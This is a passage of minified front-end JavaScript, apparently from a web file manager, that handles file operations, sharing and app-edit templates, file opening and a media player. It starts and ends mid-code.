e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},T=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},z=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},O=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:O,appAddURL:A,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:z,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">{{LNG.share_title}}</div>\n <div class="share_view_info"></div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.share_path}}:</span>\n <input id="share_name" type="text" name="path" value="" />\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_name}}:</span>\n <input type="hidden" name="sid"/>\n <input type="hidden" name="type"/>\n <input type="hidden" name="name"/>\n <input id="share_name" type="text" placeholder="{{LNG.share_name}}" name="show_name"/>\n <a href="javascript:void(0);" class="share_more">{{LNG.more}}<b class="caret"></b></a>\n <div style="clear:both"></div>\n </div>\n\n <div class="share_setting_more hidden">\n <div class="input_line">\n <span class="input_title">{{LNG.share_time}}:</span>\n <input id="share_time" type="text" placeholder="{{LNG.share_time}}" name="time_to"/>\n <i class="desc">{{LNG.share_time_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.share_password}}:</span>\n <input type="text" placeholder="{{LNG.share_password}}" name="share_password"/>\n <i class="desc">{{LNG.share_password_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line share_others">\n <span class="input_title">{{LNG.others}}:</span>\n <label class="label_code_read">\n <input type="checkbox" name="code_read" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_code_read}}</span>\n </label>\n <label>\n <input type="checkbox" name="not_download" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_not_download}}</span>\n </label>\n <label class="label_can_upload">\n <input type="checkbox" name="can_upload" class="kui-checkbox size-small" value="">\n <span>{{LNG.share_can_upload}}</span>\n </label>\n\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line share_has_url clear">\n <span class="input_title">{{LNG.share_url}}:</span>\n <div class="input-group">\n <input type="text" class="share_url" aria-label="Text input with segmented button dropdown">\n <div class="input-group-btn">\n <button type="button" class="btn btn-default open_window">{{LNG.open}}</button>\n <button type="button" class="btn btn-default qrcode"><i class="icon-qrcode"></i></button>\n </div>\n <!-- <div class="share_jiathis_box"></div> -->\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n <div class="share_action">\n <button type="button" class="btn btn-primary share_create_button">{{LNG.share_create}}</button>\n <a type="button" href="javascript:void(0);" class="share_remove_button">{{LNG.share_cancle}}</a>\n </div>\n</div>'),define("app/common/tpl/fileinfo/path_info_more.html",[],"<div class='pathinfo'>\n <div class='p' style='line-height:40px;'>\n <div class='title'>{{LNG.info}}:</div>\n <div class='content'>\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n</div>\n"),define("app/common/tpl/app_edit.html",[],"<div class='appbox'>\n <div class='appline name'>\n <div class='left'>{{LNG.name}}</div>\n <div class='right'><input type='text' name='name' value='{{data.name}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline desc'>\n <div class='left'>{{LNG.app_desc}}</div>\n <div class='right'><input type='text' name='desc' value='{{data.desc}}'/></div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline icon'>\n <div class='left'>{{LNG.app_icon}}</div>\n <div class='right'><input type='text' name='icon' class=\"app_edit_select_icon_input\" value='{{data.icon}}'/>\n <button class='btn btn-default btn-sm open app_edit_select_icon btn-right'>\n <i class=\"font-icon icon-folder-open\"></i>\n </button>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline group'>\n <div class='left'>{{LNG.app_group}}</div>\n <div class='right'>\n <select name='group'>\n <option value ='others'>{{LNG.app_group_others}}</option>\n <option value ='game'>{{LNG.app_group_game}}</option>\n <option value ='tools'>{{LNG.app_group_tools}}</option>\n <option value ='reader'>{{LNG.app_group_reader}}</option>\n <option value ='movie'>{{LNG.app_group_movie}}</option>\n <option value ='music'>{{LNG.app_group_music}}</option>\n <option value ='life'>{{LNG.app_group_life}}</option>\n <select>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline type'>\n <div class='left'>{{LNG.app_type}}</div>\n <div class='right'>\n <input class='w20 kui-radio size-small' type='radio' id='url{{uuid}}' apptype='url' value='url' name='{{uuid}}type' {{if data.type=='url'}}checked='checked'{{/if}}/>\n <label for='url{{uuid}}'>{{LNG.app_type_url}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app{{uuid}}' apptype='app' value='app' name='{{uuid}}type' {{if data.type=='app'}}checked='checked'{{/if}}/>\n <label for='app{{uuid}}'>{{LNG.app_type_code}}</label>\n <input class='w20 kui-radio size-small' type='radio' id='app_link{{uuid}}' apptype='app_link' value='app_link' name='{{uuid}}type' {{if data.type=='app_link'}}checked='checked'{{/if}}/>\n <label for='app_link{{uuid}}'>{{LNG.app_type_link}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_display}}</div>\n <div class='right'>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='simple{{uuid}}' name='simple' {{if data.simple}}checked='true'{{/if}} />\n <label for='simple{{uuid}}'>{{LNG.app_display_border}}</label>\n <input class='w20 kui-checkbox size-small' type='checkbox' id='resize{{uuid}}' name='resize' {{if data.resize}}checked='true'{{/if}} />\n <label for='resize{{uuid}}'>{{LNG.app_display_size}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline' data-type='url'>\n <div class='left'>{{LNG.app_size}}</div>\n <div class='right'>\n <input class='w30' type='text' name='width' value='{{data.width}}'/>({{LNG.width}})&nbsp;&nbsp;\n <input class='w30' type='text' name='height' value='{{data.height}}'/>({{LNG.height}})\n\n <input class='w20 kui-checkbox size-small size-full' type='checkbox' id='size-full{{uuid}}' \n {{if data.width=='100%' && data.height=='100%'}}checked='true'{{/if}} />\n <label for='size-full{{uuid}}'>{{LNG.full_screen}}</label>\n </div>\n <div style='clear:both;'></div>\n </div>\n <div class='appline content'>\n <div class='left hidden' data-type='app'>{{LNG.app_code}}</div>\n <div class='left hidden' data-type='app_link'>{{LNG.app_code}}</div>\n <div class='left' data-type='url'>{{LNG.app_url}}</div>\n <div class='right'><textarea name='content'>{{data.content}}</textarea></div>\n <div style='clear:both;'></div>\n </div>\n</div>\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0; -if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='<div id="'+o+'" style="height:100%;"> <a href="'+n+'" target="_blank" style="display:block;margin:0 auto;margin-top:80px;font-size:16px;text-align:center;">'+LNG.error+" "+LNG.download+" PDF</a></div>";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:n}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='<div class="unknow_file can_select" style="width:260px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+t+"</span><br/><br/>"+'<a class="btn btn-default btn-nomal" href="javascript:ui.pathOpen.openEditorForce(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.edit+" </a>&nbsp;"+'<a class="btn btn-success btn-nomal ml-15" href="javascript:ui.pathOpen.download(pathHashDecode(\''+pathHashEncode(e)+"'));\"> "+LNG.unknow_file_download+" </a></div>";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('<iframe src="'+e+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(a=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 